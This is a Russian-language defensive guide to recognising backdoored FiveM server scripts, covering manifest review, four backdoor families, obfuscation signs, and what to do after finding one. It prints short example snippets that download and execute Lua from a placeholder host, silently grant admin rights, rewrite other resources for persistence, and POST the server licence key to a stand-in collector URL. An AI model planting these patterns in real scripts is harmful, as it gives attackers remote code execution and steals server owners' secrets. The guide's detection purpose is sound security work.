Как распознать скрипт FiveM с бэкдором
Четыре формы, которые принимает бэкдор, как прочитать resource до того, как она запустится, и что делать в первую очередь, когда вы его нашли. Отсортировано по тому, что реально вас защищает.
6 минут чтения
Кто-то присылает вам «бесплатно слитый» скрипт. Вы кидаете его в resources,
перезапускаете сервер, и всё работает. Через три недели у постороннего человека
админка, ваша база данных исчезла, или ваш сервер тихо крутит рекламу вашим же
игрокам.
Этот гайд о том, как посмотреть на resource до того, как она запустится, что на самом деле означают паттерны, и что делать, когда вы нашли бэкдор.
Ничего из этого не загружает ваши файлы на сервер. Сканер бэкдоров читает их в вашем браузере, и это единственный вменяемый способ изучать скрипт, которому вы уже не доверяете.
Начните с manifest
fxmanifest.lua решает, что запускается. Открывайте его первым, всегда.
fx_version "cerulean"game "gta5"client_scripts { "client/*.lua",}server_scripts { "server/*.lua", "config/init.lua",}
Два вопроса, именно в таком порядке:
- Каждый ли перечисленный файл имеет смысл для того, что resource
декларирует? Скрипт парковки с
server_scriptпод названиемupdater.luaзаслуживает внимания. - Не грузится ли что-то по маске, сквозь которую вы не видите?
server/*.lua— это нормально, но это же означает, что добавленный позже файл запустится без единой дополнительной правки.
Затем сравните manifest с содержимым папки. Файл, который есть на диске и не указан в manifest, обычно просто мусор. Файл в manifest, который вы не можете найти, — знак гораздо хуже.
Четыре формы, которые принимает бэкдор
Почти всё вредоносное попадает в одно из четырёх семейств. Знать семейство важнее, чем заучивать строки, потому что строки меняются, а формы — нет.
1. Код скачивается в рантайме и выполняется
Resource что-то скачивает и запускает. То, что вы проверили сегодня, завтра может отдать совсем другое.
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) if code == 200 then assert(load(body))() endend, "GET")
load, loadstring, RunString и assert(load(...)) превращают текст в
выполняемый код. В паре с HTTP-запросом в том же файле невинного прочтения тут
нет.
Автообновление — обычная легенда прикрытия. Легитимный апдейтер скачивает файл и просит вас перезапуститься. Он не выполняет скачанное прямо в памяти.
2. Права выдаются в рантайме
Самое тихое семейство, и то, которое чаще всего пропускают, потому что ничего необычного не видно ровно до момента, когда у аккаунта, которого никто не создавал, оказывается полный доступ.
RegisterNetEvent("core:sync", function(identifier) ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)
Здесь неправильны сразу две вещи. add_principal в рантайме вообще не должен
приходить из resource, которую писали не вы, а событие берёт идентификатор от
клиента, так что вызвать его со своим может кто угодно.
Поищите в любой resource add_principal, add_ace и ExecuteCommand. В
обычном геймплейном скрипте их ноль.
3. Закрепление и повторное заражение
Самое интересное в серьёзном бэкдоре — то, что происходит после того, как вы его нашли.
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
SaveResourceFile позволяет resource переписать другую resource. Вы удаляете
вредоносный скрипт, а он возвращается из той, которую переписали. Именно поэтому
найти один файл — это не то же самое, что быть чистым.
4. Утечка секретов
Ради чего всё и затевалось.
local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
У resource, которая читает sv_licenseKey, steam_webApiKey, rcon_password
или вашу строку подключения к MySQL, нет для этого легитимных причин. Как и у
URL вебхука Discord, который добавляли не вы.
Обфускация — не преступление, но это сигнал
Многие платные скрипты обфусцированы, чтобы защитить лицензию, поэтому сама по себе обфускация не означает злого умысла. Она означает, что вы не можете это проверить, и такое решение стоит принимать осознанно, а не случайно.
| Что вы видите | Что это значит |
|---|---|
повторяющееся \x68\x74\x74\x70 | строки в hex-escape, скрывающие URL или имя |
string.char(104, 116, 116, 112) | та же идея, в десятичном виде |
| одна строка длиннее 800 символов | минифицировано, чтобы никто не пробежал глазами |
имена в стиле _0x4f2a | обфускатор JavaScript, часто в payload для NUI |
LPH_NO_VIRTUALIZE, IronBrew, Luraph | обфускатор Lua, прямо по имени |
Честное правило: обфусцированный файл от платного продавца, которого вы выбрали сами, — это риск, который вы приняли. Обфусцированный файл внутри бесплатного слива — это риск, который кто-то выбрал за вас.
Блоки hex и Base64 разворачиваются в одно действие через декодер Base64, hex и URL. Он тоже работает в вашем браузере, так что вы не вставляете подозрительный payload на чужой сайт.
Делайте это перед каждой установкой
Короткая рутина отлавливает большую часть.
- Просканируйте архив. Киньте
.zipпрямо в сканер бэкдоров. Он читает zip, никуда их не распаковывая. - Прочитайте manifest и сравните его с содержимым папки.
- Прогрепайте четыре семейства.
load(,PerformHttpRequest,add_principal,SaveResourceFile,GetConvar. - Сначала ставьте на тестовый сервер, с одноразовым licence key и базой данных, в которой ничего нет.
- Смотрите в консоль при первом запуске. Бэкдоры, которые звонят домой, обычно делают это сразу, и HTTP-ошибка на старте — это подарок.
Когда вы нашли бэкдор
Здесь важен порядок, и инстинкт сначала удалить файл — неправильный.
- Остановите сервер. Не resource. Сервер.
- Смените все секреты:
sv_licenseKeyчерез портал Cfx, пароль базы данных, вебхуки Discord, любой ключ API в convar. Считайте, что всё вserver.cfgуже известно. Генератор секретов создаёт замены, никуда их не отправляя. - Проверьте
add_principalв своих конфигах и уберите каждый идентификатор, который вы не узнаёте. - Проверьте остальные resource — из-за семейства 3. Один бэкдор, который
пользовался
SaveResourceFile, означает, что читать надо и остальные. - Только после этого удаляйте resource и восстанавливайтесь из резервной копии, сделанной до её установки, если такая есть.
Сменить licence key, не сменив пароль базы данных, не решает ничего. У того, кто получил выполнение кода на сервере, были и все ваши доступы.
Чего это не скажет
Поиск по паттернам в исходном тексте — не доказательство.
Аккуратно написанный бэкдор может обойти каждый паттерн из этого гайда, а чистый
код иногда под них попадает: легитимная resource вполне может вызывать
PerformHttpRequest, и куча хороших скриптов читает convar. Именно поэтому
сканер объясняет, что означает каждая находка, а не выносит вердикт.
Относитесь к отчёту как к списку мест, куда стоит заглянуть, а не как к приговору. Решение остаётся за вами, и так и должно быть.